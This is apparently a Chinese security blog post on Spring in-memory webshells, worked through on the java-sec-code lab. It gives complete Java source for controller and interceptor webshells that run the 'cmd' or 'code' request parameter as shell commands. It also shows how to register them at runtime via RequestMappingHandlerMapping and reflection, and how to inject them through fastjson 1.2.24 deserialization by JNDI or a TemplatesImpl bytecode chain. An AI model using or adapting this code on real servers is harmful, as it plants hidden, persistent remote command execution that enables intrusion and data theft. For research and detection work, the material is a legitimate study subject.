首页 > 系统相关 >Spring内存码

Spring内存码

时间:2023-08-02 15:14:08浏览次数:36  
标签:web Spring new springframework 内存 import org servlet

Spring内存码

依然不会配环境orz,干脆直接拿以前那个java-sec-code了,springboot版本2.1.5.RELEASE

spring内存码基础的有controller型和interceptor型,两个组件都可以动态添加,注入思路和以前一样,所以先看初始化的流程

一、Controller型

controller作用是接收特定参数,与@RequestMapping@GetMapping@PostMapping 结合让spring明白一个url请求应该送到哪里处理

1.1 controller初始化

要想动态添加组件先看这个组件怎么存的,所以直接省流,一个controller(对应url为/classloader)在spring中存储如下,关注MappingRegistry。初始化从DispatcherServlet#getHandler开始,过程就不贴了,断点下在AbstractHandlermethodmapping$MappingRegistry#getMappingByUrl比较方便

1689748756821

1689748655802

核心在AbstractHandlerMethodMapping$MappingRegistry,里面有四个hashmap来记录所有controller

1689749627982

MappingRegistry可以通过register方法登记一个controller

1689749828146

register方法的三个参数:mapping是个RequestMappingInfo对象,记录映射关系,handler是Controller那个类的对象,method是反射获取的方法

1689750238448

正常来讲是通过AbstractHandlerMethodMapping$MappingRegistry#registerHandlerMethod进入register的,不过还有一个长得一样的registerMapping也行

1689751475531

1689751464747

AbstractHandlerMethodMapping是抽象类,实现了它的子类才可以调用registerHandlerMethod方法,RequestMappingHandlerMapping

Spring里通过@controller注册COntroller靠的就是RequestMappingHandlerMapping映射器,老版本spring(2.5-3.1)使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping

1.2 构造思路

与tomcat里StandardContext对应,spring有WebApplicationContext,且这个context继承了BeanFactory,能直接context.getBean(RequestMappingHandlerMapping.class)获取RequestMappingHandlerMapping

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;

@RestController
public class ControllerShell {

    public class Controller{

        public void shell() throws IOException {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    @GetMapping("/inject")
    public void injectShell() throws NoSuchMethodException {
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);

        RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
                null,null,null,null,null);
        Controller controller = new Controller();
        Method method = Controller.class.getMethod("shell");
        rm.registerMapping(info, controller, method);
    }
}

先访问/inject注入,再访问/shell?cmd=dir就行了。但这仅仅是测试时的方式。。添加一个/inject的contoller用于注入恶意controller,有点多此一举的感觉。。实际应用还是要通过代码执行注入,比如fastjson

二、Interceptor型

spring的interceptor和tomcat的fitlter很像,前者偏日志记录,后者偏过滤

新建InterceptorTest,所有自定义的interceptor都要实现HandlerInterceptor接口

package org.joychou;

import org.springframework.stereotype.Component;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Component("InterceptorTest")
public class InterceptorTest implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle执行了....");
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle执行了...");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion执行了....");
    }
}

在WebConfig里登记InterceptorTest

@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig
public class WebConfig extends WebMvcConfigurerAdapter { 
	private InterceptorTest interceptorTest = new InterceptorTest();

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(interceptorTest);
    }
}

2.1 Interceptor初始化

流程直接看图

1690167622617

很容易找到interceptor存储位置,是HandlerInterceptor的interceptors

1690180031045

往回找到AbstractHandlerMappig#getHandlerExecutionChain,发现interceptors源于adaptedInterceptors,chain.addInterceptor会从adaptedInterceptors里取出interceptor给interceptors赋值

1690336872531

adaptedInterceptors是私有属性,用add方法可以添加

1690350102665

2.2 构造思路

从理论上来讲有两步,恶意interceptor和手动把恶意interceptor加进adaptedInterceptors

恶意interceptor,41和46行的super可以防止编译报错

package com.test.happysb;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
                }
                p.redirectErrorStream(true);
                Process process = p.start();
                BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String result = r.readLine();
                System.out.println(result);
                writer.println(result);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }
}

添加到adaptedInterceptors

        // 和前面一样的方法获取RequestMappingHandlerMapping
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);
        // 反射获取adaptInterceptors
        Filed f = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        f.setAccessible(true);
        List<HandlerInterceptor> adaptInterceptors = null;
        adaptInterceptors = (List<HandlerInterceptor>) f.get(rm);

三、fastjson注入内存码

fastjson是个很好的执行代码的方式,靶场里正好自带了个1.2.24的fastjson入口,payload可以直接用以前fastjson那篇里的

1690526973918

由于这个靶场为了包含shiro还有个登陆的功能,所以每次重启服务都要获取新的cookie,就很折磨,有条件还是自己配环境吧

3.1 jndi注入

改了下上面的controller码,当触发fastjson反序列化时实例化ControllerShell,触发构造方法里的代码注入内置类Controller

package org.joychou.shell;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;


public class ControllerShell {

    public class Controller{

        public void shell() throws IOException {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    public ControllerShell() throws NoSuchMethodException {
        super();
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);

        RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
                null,null,null,null,null);

        Controller controller = new Controller();
        Method method = Controller.class.getMethod("shell");
        rm.registerMapping(info, controller, method);
    }


}

content-type改成application/json,不然会url编码导致不能正常parseObject

1690527328269

3.2 TemplatesImpl链

如果把处理逻辑改成JSON.parseObject(params, Feature.SupportNonPublicField)还可以通过字节码加载,ControllerShell在上面的基础上额外实现AbstractTranslet用于TemplatesImpl加载字节码

package org.joychou.shell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.util.Scanner;


public class ControllerShell extends AbstractTranslet {

    public class Controller{

        public void shell() throws IOException {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = response.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
    }

    public ControllerShell() throws NoSuchMethodException {
        super();
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping rm = context.getBean(RequestMappingHandlerMapping.class);

        RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/shell"),new RequestMethodsRequestCondition(RequestMethod.GET),
                null,null,null,null,null);

        Controller controller = new Controller();
        Method method = Controller.class.getMethod("shell");
        rm.registerMapping(info, controller, method);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意当用javassist获得ControllerShell的字节码时,javassist会忽视掉内部类Controller

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("org.joychou.shell.ControllerShell");
        byte[] b = cc.toBytecode();

        byte[] encode = Base64.getEncoder().encode(b);
        String encodeStr = new String(encode);
        System.out.println("========================================================");
        System.out.println(encodeStr);
        System.out.println("========================================================");

解决方法有很多,干脆就先编译成.class再base64,或者用网上这种不用内部类的方法

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
 
public class TemplatesImplSpringController extends AbstractTranslet {
    public TemplatesImplSpringController() throws Exception{
        super();
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
 
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);
 
    }
    public TemplatesImplSpringController(String aaa) {
 
    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
 
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
 
    }
 
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

四、tomcat内存码打spring

https://blog.z3ratu1.top/Java内存马缝合笔记.html

由于spring内置tomcat,tomcat的码理应也能打spring,但模仿着缝一下并没有成功,debug过程非常痛苦,测试时正向加载是正常的,不知道反序列化反向加载filter时哪里出错,留个坑吧orz

参考

https://xz.aliyun.com/t/12047#toc-6

https://landgrey.me/blog/19/

标签:web,Spring,new,springframework,内存,import,org,servlet
From: https://www.cnblogs.com/carama1/p/17600677.html

相关文章

  • win 11 无法安装ensp 组件VBox(版本过老)导致AR路由器报错 40,关闭win11 内存完整性 开关
        解决办法如下:1、先关闭内存完整性 2、重新安装vbox(成功) 3、启动ensp(无40报错) ......
  • SQL Server 内存占用较高 - 清除缓存 或 设置内存最大占用值
    SQLServer对服务器内存的使用策略是用多少内存就占用多少内存,只用在服务器内存不足时,才会释放一点占用的内存,所以SQLServer服务器内存往往会占用很高查看内存状态:DBCCMemoryStatus这些内存一般都是SqlServer运行时候用作缓存的:数据缓存:执行查询语句,SqlServer会将相......
  • Spring中如果两个bean的id相同,会报错吗
    首先在同一个xml文件中,bean的id是唯一的不允许出现id相同的bean,否则spring启动的时候就会报错。但是在两个不同的配置文件里面,允许有相同id的bean。就会出现覆盖bean的情况。还有如果使用@Bean注解去声明一个bean,那么bean属性name相同的话,也就是声明了多个相同名字的bean,spri......
  • 【八股文 02】C++ 进程内存布局及其相关知识
    1引言本文环境为Linux操作系统(x86)+C++。目的是了解进程内存布局,但是在了解的过程中发现需要前置一些知识,因此内容概览如下所示:1C/C++程序从源代码到可执行程序的构建过程1.1预处理,也叫预编译1.2编译1.3汇编1.4链接2各平台文件格式3ELF文件3.1ELF文......
  • SpringBoot-2、SpringBoot打包时排除指定文件
    maven-jar-plugin,它可以配置JAR打包的细节,包括哪些文件会被包含在JAR中。以下是一个示例的配置,可以在pom.xml中添加:<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-jar-plugin<......
  • spring的事务注解详解
    Spring是一个流行的开发框架,它提供了很多功能和特性,其中包括事务管理。事务管理是在应用程序中执行一系列操作时,确保数据的一致性和完整性的关键方面之一。Spring框架提供了多种方式来管理事务,其中最常用的方式是使用注解。通过在方法或类级别上添加特定的注解,可以将相关的方法或类......
  • springboot和springcloud区别
    springboot和springcloud区别有:1、含义不同;2、作用不同;3、使用方式不同;4、特征不同;5、注释不同;6、优势不同;7、组件不同;8、设计目的不同。其中,含义不同指的是springboot是一个快速开发框架,而SpringCloud是建立在SpringBoot上的服务框架。1、含义不同springboot:一个快速开发框架......
  • 6小时快速入门Java微服务架构Spring Boot
    springboot快速入门配置文件例如修改tomcat启动端口号:application.properties:server.port=8080<!--注意yml文件数据值前面必须有空格-->application.yml:server:port:8080配置文件优先级:.properties>.yml>.yamlYAML:基本语法大小写敏感数据......
  • Spring框架你了解多少?
    Spring框架是当前Java领域应用最广的框架,它之所以那么成功,这主要是得益于它的设计理念。它的理念包括IoC(InversionofControl,控制反转)和AOP(AspectOrientedProgramming,面向切面编程)。下面我们就来一起学习下Spring这个优秀的开源框架。什么是Spring?Spring是分层......
  • springCloud
    传统项目转型存在的问题·代码耦合,开发维护困难·无法针对不同模块进行针对性优化·无法水平扩展·单点容错率低,并发能力差垂直拆分当访问量逐渐增大,单一应用无法满足需求,此时为了应对更高的并发和业务需求,我们根据业务功能对系统进行拆分:优点·系统拆分实现了流......